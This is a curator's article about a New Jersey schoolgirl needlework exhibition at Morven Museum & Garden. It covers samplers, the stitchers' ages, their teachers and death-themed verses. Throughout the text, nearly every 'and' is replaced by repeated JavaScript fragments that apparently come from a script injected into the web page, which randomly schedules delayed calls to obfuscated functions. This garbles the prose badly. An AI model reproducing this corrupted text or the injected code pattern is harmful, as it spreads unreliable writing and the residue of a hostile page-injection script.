By: Elizabeth G. Allan

PRINCETON, N.J. — In the Eighteenth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Nineteenth Centuries, New Jersey was characterized by a wide range of social andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and cultural environments. Cities like Trenton, Elizabethtown andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Burlington had large, compacted urban populations, while counties like Hunterdon, Warren andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Salem were highly rural andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sparsely populated. Not surprisingly, these differences are reflected in a survey of the needlework produced by young schoolgirls — “Hail Specimen of Female Art! New Jersey Schoolgirl Needlework, 1726–1860,” currently on view through March 29 at Morven Museum & Garden.

From the elaborate pictorial samplers worked at the Quaker schools in Burlington County to the “towering ladies of Cape May” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the “checkerboard houses” of Somerset County, New Jersey needlework was as diverse as the cities, towns andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and rural hamlets in which these girls lived andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and studied.

As indicated by the title, which is taken from the verse of a sampler worked by Anne Rickey in Trenton in 1798, this exhibition focuses on the work of schoolgirls. The creators of these 151 needleworks were young girls, typically ranging in age from 8 to 15, working under the instruction of school teachers. Needlework was most often taught as part of a comprehensive educational curriculum that might include academic subjects, such as reading, grammar andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and arithmetic, as well as an introduction to the finer arts of drawing, painting andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and music.

The youngest needleworker uncovered during this survey is Sarah Elizabeth Carney, who worked her marking sampler in “Her 6th year” in 1823. By the very act of creating this sampler, Sarah Elizabeth was learning basic embroidery techniques as well as her alphabet andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and numbers. Often described as “marking samplers,” these were the first samplers worked by girls, imparting the skills necessary to mark valuable household linens andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sew andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and mend clothing.

Only four samplers in this exhibition were worked by women in their 20s. Sarah Dickinson at the age of 21 completed a detailed family register, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Charlotte Hight completed her Princeton sampler around the age of 22. Huldah La Rue worked a colorful Berlin woolwork sampler at the age of 29 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mercy Hopkins was 21 when she completed her sampler under the instruction of Sarah Shoemaker. Both women may have completed their works in preparation for their own teaching careers. 

An exciting last-minute discovery was the sampler of another teacher, Mary G. Taylor. The exhibition already included three samplers that were worked under her instruction (sometimes referenced by her initials “MGT”). Then a descendant of the Burlington County teacher came forward with a sampler created by Mary G. Taylor herself.  The needlework’s relation to those of her students is immediately apparent andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and confirms that the “art” of sampler design is generally a reflection of the teacher while the “craft” of execution documents the skill of the student. Completed when Mary was 19, it may have been made as a teaching example.

The verses chosen by schoolgirls andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and their teacher often provide a window into the religion andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and philosophy of the period. Perhaps most startling to readers today are the candom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andid references to death set in otherwise charming andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and cheerful samplers. Syllania Evans, for example, stitched, “And must this body die; This mortal frame decay andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and must these active limbs of mine; Lie mouldering in the clay” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Amy Eliza Herbert instructed, “When i am dead andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in my grav[e] andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and all my bones are rotten when this you see remember me that i am not forgotten.”

Life expectancy was short andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and death was a constant andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and recurring part of Eighteenth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Nineteenth Century life andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and so it should be no surprise that these verses regarding their own death are straightforward, honest andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and even a touch playful. Memorials to deceased family members or national figures, such as George Washington, as well as family records documenting both births andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and deaths were popular needlework themes.

The parameters of this exhibition required that the needlework be created in New Jersey or by New Jersey girls attending schools out of state. The latter make up a small percentage of the show, but serve to illustrate the scope of educational opportunities available to a New Jersey girl. They also make for some impressive entries, including a silk-on-silk embroidery made by Sarah Staats at the Folwell School in Philadelphia in 1800. Although schoolgirl needleworks of all forms were sought for the exhibition, the examples worked in New Jersey are almost entirely samplers.

Pictorial silk-on-silk embroideries made in New Jersey have proven to be extremely rare despite their popularity in other states andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the fact that numerous Eighteenth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Nineteenth Century in-state school advertisements offer it in their curriculum. This may be partially explained by the fact that silk embroideries often do not include the identity of the stitcher. That is to say, some New Jersey silk embroideries may exist without girls’ names that could identify them as such. Hopefully, awareness generated by this exhibition will bring unknown examples to light.

This exhibition has uncovered a diverse andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and wonderful needlework culture that thrived across the Garden State. It is the museum’s hope that it will serve as a starting point for further research, inspiring local historians to make closer examinations of their own region’s output.

Lenders to the exhibition include the Metropolitan Museum of Art, the Colonial Williamsburg Foundation, Winterthur, the DAR Museum, the Frances Lehman Loeb Art Center at Vassar College, the Bergen County Historical Society, the Cape May County Museum, the Gloucester County Historical Society, the Holcombe-Jimison Farmstead Museum, the Hopewell Museum, the Hunterdon Historical Society, the Leslie Durst Collection, the Metlar-Bodine House, the Old Barracks Museum, the Salem County Historical Society andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and more than 20 private collections.

Morven Museum & Garden is at 55 Stockton Street. For information, www.morven.org or 609-924-8144.

Elizabeth G. Allan is curator of collections andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and exhibitions at Morven Museum & Garden. Co-curators for this exhibition are Marty andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Dan Campanelli andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Daniel C. Scheid.